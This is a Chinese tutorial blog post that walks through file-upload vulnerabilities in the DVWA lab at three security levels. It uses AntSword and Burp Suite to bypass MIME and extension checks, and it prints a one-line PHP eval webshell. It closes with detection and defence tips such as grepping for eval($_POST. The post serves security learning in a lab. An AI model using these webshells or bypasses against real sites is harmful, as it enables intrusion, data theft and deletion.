文件上传漏洞与防御

简介

文件上传中含有:文件文档,图片,视频等,然而,如果被允许上传了恶意文件如PHP,ASP等的绕过web应用并顺利执行,就相当与黑客拿到webshell,然后就可以拿到web数据进行删除,文件提权,进而整个服务器甚至是内网。

文件上传漏洞主要就是攻击web服务,而SQL注入主要是要拿到数据库,一旦两种渗透相结合,就可以达到对目标的深度控制。

Webshell的介绍

小马:一句话木马,整个shell代码只有一行,是系统执行的函数。
大马:代码量和功能比小马多,同时多了一层二次编码加密用于防止防火墙或入侵系统的检测。
通常来说就是调用一些函数,如:eval调用的是php函数,system调用的linux的命令。

实验

以下用到
火狐浏览器+xshell+VMware虚拟机+Owaspbwa靶机+AntSword中国蚁剑

Low级别的文件上传

首先我们在浏览器中通过靶机的IP地址打开靶机中的DVWA,其次,我们设置安全难度等级为low,然后,我们在upload漏洞中上传一份php的文件,然后显示上传成功,把php文件的地址复制到URL栏中的末尾,记得把#去掉
在这里插入图片描述
我的php文件是
在这里插入图片描述
然后,我们把URL栏中的所有复制下来在AntSword中添加数据打开
在这里插入图片描述
然后我们打开刚才的http,右键打开文件管理
在这里插入图片描述
打开后,显示如下页面,很显然,我们的php文件就在里面了
在这里插入图片描述
我们如果一直点“上层”的话,就可以看到这个靶机的所有数据文件了
在这里插入图片描述
在所选的文件右击就可以显示可以删除你想要删除的文件了。

如上,在low等级下的可以上传任意类型的文件,在DVWA的upload的页面veiw source下页面可以看出对文件上传没什么限制。
而我们也就可以通过中国蚁剑这样的软件把一段恶意的木马文件上传到网站中了。

Medium级别的上传漏洞

在这里,我们还用到了一个软件,Burpsuite
我们先通过xshell把之前dvwa中的php文件删除,操作如下:

cd /var/www/dvwa/hackable/uploads/  #从之前我们在中国蚁剑中的操作可以看出php上传的位置
ls  #ls可以查看uploads中拥有的文件
rm -rf *   #删除uploads中的文件,这是通过命令删除的,当然也可以通过蚁剑直接删除
ls    #再ls 就可以看出uploads中没有东西了

然后我们就可以进行文件上传了,先上传一张照片,可以上传的,再上传刚才那个php文件,上传不了,显然medium级别的有了一定的限制。

这是数据文件Mime类型决定的(就是在响应头会有Content-type),而Burpsuite就可以对上传的文件进行拦截修改再上传。

我们打开Burpsuite进行文件上传的拦截,浏览器页面加载不出来,然而Burpsuite抓到了上传的数据包,如下图所示,如果和我的页面不一样,我们点击上面的drop丢弃之前的拦截数据包,就可以显示下一个数据包了
在这里插入图片描述
因为medium级别的有了一定的限制,所以我们得修改文件Mine类型再上传数据包
在这里插入图片描述
如图显示,上传成功
在这里插入图片描述

High级别的上传漏洞

还是和刚才一样,通过xshell把uploads上传的文件删除
我们可以通过view source查看源码来了解high级别下的限制
在这里插入图片描述
在这里改动Mime类型就不行了,或许可以尝试在文件后缀添加.jpg,上传或许能成功,但这个木马文件有图像的后缀就不一定能用了。
在这里插入图片描述
然后,显示上传成功
在这里插入图片描述

如何防御上传文件漏洞

总结一下:

  1. 对文件的后缀进行检测
  2. 在前端布置web防火墙,检测上传的是否有eval($_POST[])这样的标记
  3. 通过xshell来检测上传的是什么文件,然后cat文件内容
root@owaspbwa:~# cd /var/www/dvwa/hackable/uploads/
root@owaspbwa:/var/www/dvwa/hackable/uploads# ls
shell.php
root@owaspbwa:/var/www/dvwa/hackable/uploads# cat shell.php
<?php @eval($_POST['antsword']);?>root@owaspbwa:/var/www/dvwa/hackable/uploads#
  1. 或者我们再不知道密码的情况下egrep过滤带有关键字的
root@owaspbwa:/var/www/dvwa/hackable/uploads# fgrep -R '@eval($_POST[' /var/www/dvwa        
/var/www/dvwa/hackable/uploads/shell.php:<?php @eval($_POST['antsword']);?>
#fgreg中的f是固定的意思,-R意思是递归,/var/www/dvwa是网站目录
#这样就可以知道shell文件目录地址和内容了
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值